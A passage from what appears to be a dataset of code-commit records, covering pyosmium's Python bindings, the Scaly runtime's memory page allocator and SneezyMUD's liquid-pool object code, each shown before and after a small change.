&apply_reader_simple_with_location<LocationTable>);\n\n class_<SimpleWriterWrap, boost::noncopyable>(\"SimpleWriter\",\n \"The most generic class to write osmium objects into a file. The writer \"\n \"takes a file name as its mandatory parameter. The file must not yet \"\n \"exist. The file type to output is determined from the file extension. \"\n \"The second (optional) parameter is the buffer size. osmium caches the \"\n \"output data in an internal memory buffer before writing it on disk. This \"\n \"parameter allows changing the default buffer size of 4MB. Larger buffers \"\n \"are normally better but you should be aware that there are normally multiple \"\n \"buffers in use during the write process.\",\n init<const char*, unsigned long>())\n .def(init<const char*>())\n .def(\"add_node\", &SimpleWriterWrap::add_node,\n (arg(\"self\"), arg(\"node\")),\n \"Add a new node to the file. The node may be an ``osmium.osm.Node`` object, \"\n \"an ``osmium.osm.mutable.Node`` object or any other Python object that \"\n \"implements the same attributes.\")\n .def(\"add_way\", &SimpleWriterWrap::add_way,\n (arg(\"self\"), arg(\"way\")),\n \"Add a new way to the file. The way may be an ``osmium.osm.Way`` object, \"\n \"an ``osmium.osm.mutable.Way`` object or any other Python object that \"\n \"implements the same attributes.\")\n .def(\"add_relation\", &SimpleWriterWrap::add_relation,\n (arg(\"self\"), arg(\"relation\")),\n \"Add a new relation to the file. The relation may be an \"\n \"``osmium.osm.Relation`` object, an ``osmium.osm.mutable.Way`` \"\n \"object or any other Python object that implements the same attributes.\")\n .def(\"close\", &SimpleWriterWrap::close,\n args(\"self\"),\n \"Flush the remaining buffers and close the writer. While it is not \"\n \"strictly necessary to call this function explicitly, it is still \"\n \"strongly recommended to close the writer as soon as possible, so \"\n \"that the buffer memory can be freed.\")\n ;\n\n class_<WriteHandler, boost::noncopyable>(\"WriteHandler\",\n \"Handler function that writes all data directly to a file.\"\n \"The handler takes a file name as its mandatory parameter. The file \"\n \"must not yet exist. The file type to output is determined from the \"\n \"file extension. \"\n \"The second (optional) parameter is the buffer size. osmium caches the \"\n \"output data in an internal memory buffer before writing it on disk. This \"\n \"parameter allows changing the default buffer size of 4MB. Larger buffers \"\n \"are normally better but you should be aware that there are normally multiple \"\n \"buffers in use during the write process.\",\n init<const char*, unsigned long>())\n .def(init<const char*>())\n .def(\"close\", &WriteHandler::close,\n args(\"self\"),\n \"Flush the remaining buffers and close the writer. While it is not \"\n \"strictly necessary to call this function explicitly, it is still \"\n \"strongly recommended to close the writer as soon as possible, so \"\n \"that the buffer memory can be freed.\")\n ;\n\n class_<pyosmium::MergeInputReader, boost::noncopyable>(\"MergeInputReader\",\n \"Collects data from multiple input files and sorts and optionally \"\n \"deduplicates the data before applying it to a handler.\")\n .def(\"apply\", &pyosmium::MergeInputReader::apply,\n (arg(\"self\"), arg(\"handler\"), arg(\"simplify\")=true),\n \"Apply collected data to a handler. The data will be sorted first. \"\n \"If `simplify` is true (default) then duplicates will be eliminated \"\n \"and only the newest version of each object kept. After the data \"\n \"has been applied the buffer of the MergeInputReader is empty and \"\n \"new data can be added for the next round of application.\")\n .def(\"apply_to_reader\", &pyosmium::MergeInputReader::apply_to_reader,\n (arg(\"self\"), arg(\"reader\"), arg(\"writer\"), arg(\"with_history\")=false),\n \"Apply the collected data to data from the given `reader` and write \"\n \"the result to `writer`. This function can be used to merge the diff \"\n \"data together with other OSM data (for example when updating a \"\n \"planet file. If `with_history` is true, then the collected data will \"\n \"be applied verbatim without removing duplicates. This is important \"\n \"when using OSM history files as input.\")\n .def(\"add_file\", &pyosmium::MergeInputReader::add_file,\n (arg(\"self\"), arg(\"file\")),\n \"Add data from a file to the internal cache. The file type will be \"\n \"determined from the file extension.\")\n .def(\"add_buffer\", &pyosmium::MergeInputReader::add_buffer,\n (arg(\"self\"), arg(\"buffer\"), arg(\"format\")),\n \"Add data from a byte buffer. The format of the input data must \"\n \"be given in the `format` argument as a string. The data will be \"\n \"copied into internal buffers, so that the input buffer can be \"\n \"safely discarded after the function has been called.\")\n ;\n}\n<commit_msg>add documentation for SimpleHandler callbacks back<commit_after>#include <osmium\/visitor.hpp>\n#include <osmium\/index\/map\/all.hpp>\n#include <osmium\/handler\/node_locations_for_ways.hpp>\n#include <osmium\/area\/multipolygon_collector.hpp>\n#include <osmium\/area\/assembler.hpp>\n\n#include \"generic_writer.hpp\"\n#include \"generic_handler.hpp\"\n#include \"merged_input.hpp\"\n#include \"write_handler.hpp\"\n\ntemplate <typename T>\nvoid apply_reader_simple(osmium::io::Reader &rd, T &h) {\n osmium::apply(rd, h);\n}\n\n\ntemplate <typename T>\nvoid apply_reader_simple_with_location(osmium::io::Reader &rd,\n osmium::handler::NodeLocationsForWays<T> &l,\n BaseHandler &h) {\n osmium::apply(rd, l, h);\n}\n\nPyObject *invalidLocationExceptionType = NULL;\nPyObject *notFoundExceptionType = NULL;\n\nvoid translator1(osmium::invalid_location const&) {\n PyErr_SetString(invalidLocationExceptionType, \"Invalid location\");\n}\n\nvoid translator2(osmium::not_found const&) {\n PyErr_SetString(notFoundExceptionType, \"Element not found in index\");\n}\n\nPyObject* createExceptionClass(const char* name, PyObject* baseTypeObj = PyExc_Exception)\n{\n using std::string;\n namespace bp = boost::python;\n\n string scopeName = bp::extract<string>(bp::scope().attr(\"__name__\"));\n string qualifiedName0 = scopeName + \".\" + name;\n char* qualifiedName1 = const_cast<char*>(qualifiedName0.c_str());\n\n PyObject* typeObj = PyErr_NewException(qualifiedName1, baseTypeObj, 0);\n if(!typeObj) bp::throw_error_already_set();\n bp::scope().attr(name) = bp::handle<>(bp::borrowed(typeObj));\n return typeObj;\n}\n\n#include \"index.cc\"\n\nBOOST_PYTHON_MODULE(_osmium)\n{\n using namespace boost::python;\n docstring_options doc_options(true, true, false);\n\n invalidLocationExceptionType = createExceptionClass(\"InvalidLocationError\", PyExc_RuntimeError);\n register_exception_translator<osmium::invalid_location>(&translator1);\n\n notFoundExceptionType = createExceptionClass(\"NotFoundError\", PyExc_KeyError);\n register_exception_translator<osmium::not_found>(&translator2);\n\n class_<osmium::handler::NodeLocationsForWays<LocationTable>, boost::noncopyable>(\"NodeLocationsForWays\", \n init<LocationTable&>())\n .def(\"ignore_errors\", &osmium::handler::NodeLocationsForWays<LocationTable>::ignore_errors)\n ;\n\n class_<SimpleHandlerWrap, boost::noncopyable>(\"SimpleHandler\",\n \"The most generic of OSM data handlers. Derive your data processor \"\n \"from this class and implement callbacks for each object type you are \"\n \"interested in. The following data types are recognised: \\n\"\n \" `node`, `way`, `relation`, `area` and `changeset`.\\n \"\n \"A callback takes exactly one parameter which is the object. Note that \"\n \"all objects that are handed into the handler are only readable and are \"\n \"only valid until the end of the callback is reached. Any data that \"\n \"should be retained must be copied into other data structures.\")\n .def(\"apply_file\", &SimpleHandlerWrap::apply_file,\n (arg(\"self\"), arg(\"filename\"),\n arg(\"locations\")=false, arg(\"idx\")=\"sparse_mem_array\"),\n \"Apply the handler to the given file. If locations is true, then\\n\"\n \"a location handler will be applied before, which saves the node\\n\"\n \"positions. In that case, the type of this position index can be\\n\"\n \"further selected in idx. If an area callback is implemented, then\\n\"\n \"the file will be scanned twice and a location handler and a\\n\"\n \"handler for assembling multipolygons and areas from ways will\\n\"\n \"be executed.\")\n .def(\"apply_buffer\", &SimpleHandlerWrap::apply_buffer,\n (arg(\"self\"), arg(\"buffer\"), arg(\"format\"),\n arg(\"locations\")=false, arg(\"idx\")=\"sparse_mem_array\"),\n \"Apply the handler to a string buffer. The buffer must be a\\n\"\n \"byte string.\")\n ;\n def(\"apply\", &apply_reader_simple<BaseHandler>,\n \"Apply a chain of handlers.\");\n def(\"apply\", &apply_reader_simple<osmium::handler::NodeLocationsForWays<LocationTable>>);\n def(\"apply\", &apply_reader_simple_with_location<LocationTable>);\n\n class_<SimpleWriterWrap, boost::noncopyable>(\"SimpleWriter\",\n \"The most generic class to write osmium objects into a file. The writer \"\n \"takes a file name as its mandatory parameter. The file must not yet \"\n \"exist. The file type to output is determined from the file extension. \"\n \"The second (optional) parameter is the buffer size. osmium caches the \"\n \"output data in an internal memory buffer before writing it on disk. This \"\n \"parameter allows changing the default buffer size of 4MB. Larger buffers \"\n \"are normally better but you should be aware that there are normally multiple \"\n \"buffers in use during the write process.\",\n init<const char*, unsigned long>())\n .def(init<const char*>())\n .def(\"add_node\", &SimpleWriterWrap::add_node,\n (arg(\"self\"), arg(\"node\")),\n \"Add a new node to the file. The node may be an ``osmium.osm.Node`` object, \"\n \"an ``osmium.osm.mutable.Node`` object or any other Python object that \"\n \"implements the same attributes.\")\n .def(\"add_way\", &SimpleWriterWrap::add_way,\n (arg(\"self\"), arg(\"way\")),\n \"Add a new way to the file. The way may be an ``osmium.osm.Way`` object, \"\n \"an ``osmium.osm.mutable.Way`` object or any other Python object that \"\n \"implements the same attributes.\")\n .def(\"add_relation\", &SimpleWriterWrap::add_relation,\n (arg(\"self\"), arg(\"relation\")),\n \"Add a new relation to the file. The relation may be an \"\n \"``osmium.osm.Relation`` object, an ``osmium.osm.mutable.Way`` \"\n \"object or any other Python object that implements the same attributes.\")\n .def(\"close\", &SimpleWriterWrap::close,\n args(\"self\"),\n \"Flush the remaining buffers and close the writer. While it is not \"\n \"strictly necessary to call this function explicitly, it is still \"\n \"strongly recommended to close the writer as soon as possible, so \"\n \"that the buffer memory can be freed.\")\n ;\n\n class_<WriteHandler, boost::noncopyable>(\"WriteHandler\",\n \"Handler function that writes all data directly to a file.\"\n \"The handler takes a file name as its mandatory parameter. The file \"\n \"must not yet exist. The file type to output is determined from the \"\n \"file extension. \"\n \"The second (optional) parameter is the buffer size. osmium caches the \"\n \"output data in an internal memory buffer before writing it on disk. This \"\n \"parameter allows changing the default buffer size of 4MB. Larger buffers \"\n \"are normally better but you should be aware that there are normally multiple \"\n \"buffers in use during the write process.\",\n init<const char*, unsigned long>())\n .def(init<const char*>())\n .def(\"close\", &WriteHandler::close,\n args(\"self\"),\n \"Flush the remaining buffers and close the writer. While it is not \"\n \"strictly necessary to call this function explicitly, it is still \"\n \"strongly recommended to close the writer as soon as possible, so \"\n \"that the buffer memory can be freed.\")\n ;\n\n class_<pyosmium::MergeInputReader, boost::noncopyable>(\"MergeInputReader\",\n \"Collects data from multiple input files and sorts and optionally \"\n \"deduplicates the data before applying it to a handler.\")\n .def(\"apply\", &pyosmium::MergeInputReader::apply,\n (arg(\"self\"), arg(\"handler\"), arg(\"simplify\")=true),\n \"Apply collected data to a handler. The data will be sorted first. \"\n \"If `simplify` is true (default) then duplicates will be eliminated \"\n \"and only the newest version of each object kept. After the data \"\n \"has been applied the buffer of the MergeInputReader is empty and \"\n \"new data can be added for the next round of application.\")\n .def(\"apply_to_reader\", &pyosmium::MergeInputReader::apply_to_reader,\n (arg(\"self\"), arg(\"reader\"), arg(\"writer\"), arg(\"with_history\")=false),\n \"Apply the collected data to data from the given `reader` and write \"\n \"the result to `writer`. This function can be used to merge the diff \"\n \"data together with other OSM data (for example when updating a \"\n \"planet file. If `with_history` is true, then the collected data will \"\n \"be applied verbatim without removing duplicates. This is important \"\n \"when using OSM history files as input.\")\n .def(\"add_file\", &pyosmium::MergeInputReader::add_file,\n (arg(\"self\"), arg(\"file\")),\n \"Add data from a file to the internal cache. The file type will be \"\n \"determined from the file extension.\")\n .def(\"add_buffer\", &pyosmium::MergeInputReader::add_buffer,\n (arg(\"self\"), arg(\"buffer\"), arg(\"format\")),\n \"Add data from a byte buffer. The format of the input data must \"\n \"be given in the `format` argument as a string. The data will be \"\n \"copied into internal buffers, so that the input buffer can be \"\n \"safely discarded after the function has been called.\")\n ;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Scaly.h\"\nnamespace scaly {\n\n\/\/ Some statistics\nstatic int oversizedPagesAllocated;\nstatic int oversizedBytesAllocated;\nstatic int oversizedPagesDeallocated;\nstatic int oversizedBytesDeallocated;\nstatic int pagesDisposed;\nstatic int extensionPagesAllocated;\n\nextern __thread _Task* __CurrentTask;\n\n_Page::_Page() {\n\treset(); }\n\nvoid _Page::reset() {\n \/\/ Allocate default extension page pointer and initialize it to zero\n *getLastExtensionPageLocation() = 0;\n extensions = 0;\n \/\/ Allocate space for the page itself\n setNextObject(align((char*)this + sizeof(_Page)));\n currentPage = this; }\n\nvoid _Page::clear() {\n deallocatePageExtensions();\n reset(); }\n\n_Page** _Page::getLastExtensionPageLocation() {\n \/\/ Frome where the ordinary extension page is pointed to\n return ((_Page**) ((char*) this + _pageSize)) - 1; }\n\nvoid* _Page::operator new(size_t size, void* location) {\n return location; }\n\nvoid* _Page::getNextObject() {\n return (char*)this + nextObjectOffset; }\n\nvoid _Page::setNextObject(void* object) {\n nextObjectOffset = (char*)object - (char*)this; }\n\n_Page** _Page::getNextExtensionPageLocation() {\n return getLastExtensionPageLocation() - extensions - 1; }\n\nvoid* _Page::allocateObject(size_t size) {\n if (this != currentPage) {\n \/\/ We're already known to be full, so we delegate to the current page\n void* newObject = currentPage->allocateObject(size);\n \/\/ Possibly our current page was also full so we propagate back the new current page\n _Page* allocatingPage = ((Object*)newObject)->getPage();\n if ((allocatingPage != currentPage) && (newObject != allocatingPage))\n currentPage = allocatingPage;\n return newObject; }\n\n \/\/ Try to allocate from ourselves\n void* nextLocation = align((char*)getNextObject() + size);\n if (nextLocation <= (void*) getNextExtensionPageLocation()) {\n void* location = getNextObject();\n setNextObject(nextLocation);\n return location; }\n\n \/\/ So the space did not fit.\n\n \/\/ Calculate gross size to decide whether we're oversized\n size_t grossSize = sizeof(_Page) + size + sizeof(_Page**) + _alignment;\n if (grossSize > _pageSize) {\n if ((_Page**)getNextObject() == getLastExtensionPageLocation()) {\n \/\/ Allocate an extension page with default size\n _Page* defaultExtensionPage = allocateExtensionPage();\n \/\/ Make it our new current\n currentPage = defaultExtensionPage;\n \/\/ Try again with the new extension page\n return defaultExtensionPage->allocateObject(size); }\n\n \/\/ We allocate and free oversized objects directly.\n void* object;\n posix_memalign(&object, _pageSize, size);\n *getNextExtensionPageLocation() = (_Page*)object;\n extensions++;\n return object; }\n \/\/ So we're not oversized. Allocate the standard extension page.\n _Page* extensionPage = allocateExtensionPage();\n this->currentPage = extensionPage;\n \/\/ And allocate at last.\n return extensionPage->allocateObject(size); }\n\n_Page* _Page::allocateExtensionPage() {\n _Page* pageLocation = __CurrentTask->getExtensionPage();\n if (!pageLocation)\n return 0;\n _Page* extensionPage = new (pageLocation) _Page();\n *getLastExtensionPageLocation() = pageLocation;\n return extensionPage; }\n\n_Page* _Page::allocateExclusivePage() {\n if (this != currentPage)\n \/\/ We're already known to be full, so we delegate to the current page\n return currentPage->allocateExclusivePage();\n\n \/\/ Check first whether we need an ordinary extension\n if ((_Page**)getNextObject() == getLastExtensionPageLocation()) {\n \/\/ Allocate an extension page with default size\n _Page* defaultExtensionPage = allocateExtensionPage();\n \/\/ Make it our new current\n currentPage = defaultExtensionPage;\n \/\/ Try again with the new extension page\n return defaultExtensionPage->allocateExclusivePage(); }\n\n _Page* pageLocation = __CurrentTask->getExtensionPage();\n if (!pageLocation)\n return 0;\n\n _Page* exclusivePage = new (pageLocation) _Page();\n *getNextExtensionPageLocation() = pageLocation;\n extensions++;\n return exclusivePage; }\n\nbool _Page::extend(void* address, size_t size) {\n if (!size)\n size = 1;\n void* nextLocation = align((char*) address + size);\n \/\/ If nextObject would not change because of the alignment, that's it\n if (nextLocation == (void*)getNextObject())\n return true;\n \/\/ If nextObject is already higher, other objects were allocated in the meantime\n if (nextLocation < getNextObject())\n return false;\n \/\/ Now we still have to check whether we still would have space left\n if (nextLocation >= (void*) getNextExtensionPageLocation())\n return false;\n \/\/ Allocate the extension\n setNextObject(nextLocation);\n return true; }\n\nvoid _Page::deallocatePageExtensions() {\n for (_Page* page = this; page;) {\n _Page* nextExtensionPage = *page->getLastExtensionPageLocation();\n deallocateExtensionsOfPage(page);\n if (page != this)\n forget(page);\n page = nextExtensionPage; } }\n\nvoid _Page::deallocateExtensionsOfPage(_Page* page) {\n \/\/ Deallocate the oversized or exclusive pages\n for (_Page** ppPage = page->getLastExtensionPageLocation() - 1; ppPage > page->getNextExtensionPageLocation(); ppPage--)\n forget(*ppPage); }\n\nvoid _Page::forget(_Page* page) {\n __CurrentTask->releaseExtensionPage(page); }\n\nbool _Page::reclaimArray(void* address) {\n if (currentPage->freeExtensionPage((_Page*)address))\n return true;\n for (_Page* page = this; page; page = *getLastExtensionPageLocation())\n if (page->freeExtensionPage(page))\n return true; }\n\n_Page* _Page::getPage(void* address) {\n return (_Page*) (((intptr_t)address) & ~(intptr_t)(_pageSize - 1)); }\n\nbool _Page::freeExtensionPage(_Page* _page) {\n \/\/ Find the extension Page pointer\n _Page** extensionPosition = getLastExtensionPageLocation() - 1;\n while (extensionPosition > getNextExtensionPageLocation()) {\n if (*extensionPosition == _page)\n break;\n extensionPosition--; }\n if (extensionPosition == getNextExtensionPageLocation())\n return false;\n\n \/\/ Shift the remaining array one position up\n for (_Page** shiftedPosition = extensionPosition; shiftedPosition > getNextExtensionPageLocation(); shiftedPosition--)\n *shiftedPosition = *(shiftedPosition - 1);\n \/\/ Make room for one more extension\n extensions--;\n forget(_page);\n return true; }\n\n} \/\/ namespace\n<commit_msg>some simplifications<commit_after>#include \"Scaly.h\"\nnamespace scaly {\n\nextern __thread _Task* __CurrentTask;\n\n_Page::_Page() {\n\treset(); }\n\nvoid _Page::reset() {\n \/\/ Allocate default extension page pointer and initialize it to zero\n *getLastExtensionPageLocation() = 0;\n extensions = 0;\n nextObjectOffset = sizeof(_Page);\n currentPage = this; }\n\nvoid _Page::clear() {\n deallocatePageExtensions();\n reset(); }\n\n_Page** _Page::getLastExtensionPageLocation() {\n \/\/ Frome where the ordinary extension page is pointed to\n return ((_Page**) ((char*) this + _pageSize)) - 1; }\n\nvoid* _Page::operator new(size_t size, void* location) {\n return location; }\n\nvoid* _Page::getNextObject() {\n return (char*)this + nextObjectOffset; }\n\nvoid _Page::setNextObject(void* object) {\n nextObjectOffset = (char*)object - (char*)this; }\n\n_Page** _Page::getNextExtensionPageLocation() {\n return getLastExtensionPageLocation() - extensions - 1; }\n\nvoid* _Page::allocateObject(size_t size) {\n if (this != currentPage) {\n \/\/ We're already known to be full, so we delegate to the current page\n void* newObject = currentPage->allocateObject(size);\n \/\/ Possibly our current page was also full so we propagate back the new current page\n _Page* allocatingPage = ((Object*)newObject)->getPage();\n if ((allocatingPage != currentPage) && (newObject != allocatingPage))\n currentPage = allocatingPage;\n return newObject; }\n\n \/\/ Try to allocate from ourselves\n void* nextLocation = align((char*)getNextObject() + size);\n if (nextLocation <= (void*) getNextExtensionPageLocation()) {\n void* location = getNextObject();\n setNextObject(nextLocation);\n return location; }\n\n \/\/ So the space did not fit.\n\n \/\/ Calculate gross size to decide whether we're oversized\n size_t grossSize = sizeof(_Page) + size + sizeof(_Page**) + _alignment;\n if (grossSize > _pageSize) {\n if ((_Page**)getNextObject() == getLastExtensionPageLocation()) {\n \/\/ Allocate an extension page with default size\n _Page* defaultExtensionPage = allocateExtensionPage();\n \/\/ Make it our new current\n currentPage = defaultExtensionPage;\n \/\/ Try again with the new extension page\n return defaultExtensionPage->allocateObject(size); }\n\n \/\/ We allocate and free oversized objects directly.\n void* object;\n posix_memalign(&object, _pageSize, size);\n *getNextExtensionPageLocation() = (_Page*)object;\n extensions++;\n return object; }\n \/\/ So we're not oversized. Allocate the standard extension page.\n _Page* extensionPage = allocateExtensionPage();\n this->currentPage = extensionPage;\n \/\/ And allocate at last.\n return extensionPage->allocateObject(size); }\n\n_Page* _Page::allocateExtensionPage() {\n _Page* pageLocation = __CurrentTask->getExtensionPage();\n if (!pageLocation)\n return 0;\n _Page* extensionPage = new (pageLocation) _Page();\n *getLastExtensionPageLocation() = pageLocation;\n return extensionPage; }\n\n_Page* _Page::allocateExclusivePage() {\n if (this != currentPage)\n \/\/ We're already known to be full, so we delegate to the current page\n return currentPage->allocateExclusivePage();\n\n \/\/ Check first whether we need an ordinary extension\n if ((_Page**)getNextObject() == getLastExtensionPageLocation()) {\n \/\/ Allocate an extension page with default size\n _Page* defaultExtensionPage = allocateExtensionPage();\n \/\/ Make it our new current\n currentPage = defaultExtensionPage;\n \/\/ Try again with the new extension page\n return defaultExtensionPage->allocateExclusivePage(); }\n\n _Page* pageLocation = __CurrentTask->getExtensionPage();\n if (!pageLocation)\n return 0;\n\n _Page* exclusivePage = new (pageLocation) _Page();\n *getNextExtensionPageLocation() = pageLocation;\n extensions++;\n return exclusivePage; }\n\nbool _Page::extend(void* address, size_t size) {\n if (!size)\n size = 1;\n void* nextLocation = align((char*) address + size);\n \/\/ If nextObject would not change because of the alignment, that's it\n if (nextLocation == (void*)getNextObject())\n return true;\n \/\/ If nextObject is already higher, other objects were allocated in the meantime\n if (nextLocation < getNextObject())\n return false;\n \/\/ Now we still have to check whether we still would have space left\n if (nextLocation >= (void*) getNextExtensionPageLocation())\n return false;\n \/\/ Allocate the extension\n setNextObject(nextLocation);\n return true; }\n\nvoid _Page::deallocatePageExtensions() {\n for (_Page* page = this; page;) {\n _Page* nextExtensionPage = *page->getLastExtensionPageLocation();\n deallocateExtensionsOfPage(page);\n if (page != this)\n forget(page);\n page = nextExtensionPage; } }\n\nvoid _Page::deallocateExtensionsOfPage(_Page* page) {\n \/\/ Deallocate the oversized or exclusive pages\n for (_Page** ppPage = page->getLastExtensionPageLocation() - 1; ppPage > page->getNextExtensionPageLocation(); ppPage--)\n forget(*ppPage); }\n\nvoid _Page::forget(_Page* page) {\n __CurrentTask->releaseExtensionPage(page); }\n\nbool _Page::reclaimArray(void* address) {\n if (currentPage->freeExtensionPage((_Page*)address))\n return true;\n for (_Page* page = this; page; page = *getLastExtensionPageLocation())\n if (page->freeExtensionPage(page))\n return true; }\n\n_Page* _Page::getPage(void* address) {\n return (_Page*) (((intptr_t)address) & ~(intptr_t)(_pageSize - 1)); }\n\nbool _Page::freeExtensionPage(_Page* _page) {\n \/\/ Find the extension Page pointer\n _Page** extensionPosition = getLastExtensionPageLocation() - 1;\n while (extensionPosition > getNextExtensionPageLocation()) {\n if (*extensionPosition == _page)\n break;\n extensionPosition--; }\n if (extensionPosition == getNextExtensionPageLocation())\n return false;\n\n \/\/ Shift the remaining array one position up\n for (_Page** shiftedPosition = extensionPosition; shiftedPosition > getNextExtensionPageLocation(); shiftedPosition--)\n *shiftedPosition = *(shiftedPosition - 1);\n \/\/ Make room for one more extension\n extensions--;\n forget(_page);\n return true; }\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ SneezyMUD - All rights reserved, SneezyMUD Coding Team\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#include \"stdsneezy.h\"\n#include \"obj_pool.h\"\n\nvoid TPool::setDrinkUnits(int n)\n{\n setMaxDrinkUnits(n);\n TBaseCup::setDrinkUnits(n);\n setVolume(getVolume() + (getDrinkUnits() * SIP_VOLUME));\n weightChangeObject(0);\n updateDesc();\n obj_flags.decay_time=getDrinkUnits();\n}\n\nvoid TPool::addToDrinkUnits(int n)\n{\n addToMaxDrinkUnits(n);\n TBaseCup::addToDrinkUnits(n);\n setVolume(getVolume() + (getDrinkUnits() * SIP_VOLUME));\n weightChangeObject(0);\n updateDesc();\n obj_flags.decay_time=getDrinkUnits();\n}\n\nvoid TPool::setDrinkType(liqTypeT n)\n{\n TBaseCup::setDrinkType(n);\n updateDesc();\n}\n\n\/\/ the best way to do this would be to explicitly set the proper weight in the\n\/\/ accessors, rather than using weightChangeObject. It is prone to float\n\/\/ rounding errors and some functions don't even bother to use it (ie, pour,\n\/\/ which I fixed). But instead of recoding everything, I'll just put this here\n\/\/ so that pools don't generate errors in weightChangeObject.\nvoid TPool::weightChangeObject(float fWeight)\n{\n setWeight(obj_index[getItemIndex()].weight);\n TBaseCup::weightChangeObject(getDrinkUnits() * SIP_WEIGHT);\n}\n\nint TPool::getDrinkIndex() const\n{\n int drinkunits=getDrinkUnits();\n\n if(drinkunits<=0){\n return 0;\n } else if(drinkunits<=5){\n return 1;\n } else if(drinkunits<=10){\n return 2;\n } else if(drinkunits<=25){\n return 3;\n } else if(drinkunits<=50){ \n return 4;\n } else if(drinkunits<=100){\n return 5;\n } else if(drinkunits<=250){\n return 6;\n } else if(drinkunits<=1000){\n return 7;\n } else if(drinkunits<=10000){\n return 8;\n } else if(drinkunits<=25000){\n return 9;\n } else {\n return 10;\n }\n}\n \nvoid TPool::updateDesc()\n{\n int drinkindex=getDrinkIndex();\n char buf[256];\n const char *liqname=DrinkInfo[getDrinkType()]->name;\n \n const char *poolname [] =\n {\n \"a few drops of %s\", \n \"a tiny puddle of %s\", \n \"a small puddle of %s\", \n \"a puddle of %s\", \n \"a fair sized puddle of %s\", \n \"a big pool of %s\", \n \"a large pool of %s\", \n \"a huge pool of %s\",\n \"a massive pool of %s\",\n \"a tremendously huge pool of %s\",\n \"a veritable ocean of %s\"\n };\n \n const char *pooldesc [] =\n {\n \"A few drops of %s sprinkle the ground here and are fading fast.\",\n \"A tiny puddle of %s has gathered here.\",\n \"A small puddle of %s is here.\",\n \"A puddle of %s is here.\",\n \"A fair sized puddle of %s is here.\",\n \"A big pool of %s is here.\",\n \"A large pool of %s is here.\",\n \"A huge pool of %s is here.\",\n \"A massive pool of %s is here.\",\n \"A tremendously huge pool of %s dominates the area.\",\n \"A veritable ocean of %s covers the area.\"\n };\n\n if (isObjStat(ITEM_STRUNG)) {\n delete [] shortDescr;\n delete [] descr;\n\n extraDescription *exd;\n while ((exd = ex_description)) {\n ex_description = exd->next;\n delete exd;\n }\n ex_description = NULL;\n delete [] action_description;\n action_description = NULL;\n } else {\n addObjStat(ITEM_STRUNG);\n name = mud_str_dup(obj_index[getItemIndex()].name);\n ex_description = NULL;\n action_description = NULL;\n }\n\n sprintf(buf, poolname[drinkindex], liqname);\n shortDescr = mud_str_dup(buf);\n\n sprintf(buf, pooldesc[drinkindex], liqname);\n setDescr(mud_str_dup(buf));\n}\n\nbool TPool::isPluralItem() const\n{\n \/\/ a few drops of blood\n if (getDrinkIndex() == 0)\n return TRUE;\n\n \/\/ otherwise, make recursive\n return TBaseCup::isPluralItem();\n}\n\nint TBeing::dropPool(int amt, liqTypeT liq)\n{\n TPool *pool=NULL;\n TThing *t;\n TObj *obj;\n\n if(amt==0)\n return FALSE;\n\n \/* look for preexisting pool *\/\n for(t=roomp->getStuff();t;t=t->nextThing){\n TPool *tp = dynamic_cast<TPool *>(t);\n if (tp && (tp->getDrinkType() == liq)){\n pool=tp;\n break;\n }\n }\n\n if(!pool){\n \/\/ create new pool\n#if 1\n\/\/ builder port uses stripped down database which was causing problems\n\/\/ hence this setup instead.\n int robj = real_object(GENERIC_POOL);\n if (robj < 0 || robj >= (signed int) obj_index.size()) {\n vlogf(LOG_BUG, \"dropPool(): No object (%d) in database!\", GENERIC_POOL);\n return false;\n }\n\n obj = read_object(robj, REAL);\n#else\n obj = read_object(GENERIC_POOL, VIRTUAL);\n#endif\n pool = dynamic_cast<TPool *>(obj);\n if (!pool)\n return false;\n pool->initPool(amt, liq);\n\n *roomp += *pool;\n } else {\n pool->fillMeAmount(amt, liq);\n }\n\n return TRUE;\n}\n\nvoid TPool::decayMe()\n{\n int drinkunits=getDrinkUnits();\n\n \/\/ check for non-decaying pools\n if (isDrinkConFlag(DRINK_PERM))\n return;\n\n if(drinkunits<=0)\n setDrinkUnits(0);\n else if(drinkunits<25)\n addToDrinkUnits(-1);\n else \/\/ large pools evaporate faster\n addToDrinkUnits(-(drinkunits\/25)); \n}\n\n\nvoid TPool::initPool(int amt, liqTypeT liq)\n{\n string buf;\n\n swapToStrung();\n remObjStat(ITEM_TAKE);\n setDrinkType(liq);\n canBeSeen = 1;\n setMaterial(MAT_WATER);\n \n ssprintf(buf, \"pool puddle %s %s\", \n\t DrinkInfo[liq]->name,\n\t DrinkInfo[liq]->color);\n delete [] name;\n name = mud_str_dup(buf.c_str());\n \n fillMeAmount(amt, liq);\n}\n\n\nTPool::TPool() :\n TBaseCup()\n{\n}\n\nTPool::TPool(const TPool &a) :\n TBaseCup(a)\n{\n}\n\nTPool & TPool::operator=(const TPool &a)\n{\n if (this == &a) return *this;\n TBaseCup::operator=(a);\n return *this;\n}\n\nTPool::~TPool()\n{\n}\n\nvoid TPool::fillMeAmount(int amt, liqTypeT liq)\n{\n setDrinkType(liq);\n addToDrinkUnits(amt);\n\n weightChangeObject(amt * SIP_WEIGHT);\n}\n\n<commit_msg>stripped color codes from pool names<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ SneezyMUD - All rights reserved, SneezyMUD Coding Team\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#include \"stdsneezy.h\"\n#include \"obj_pool.h\"\n\nvoid TPool::setDrinkUnits(int n)\n{\n 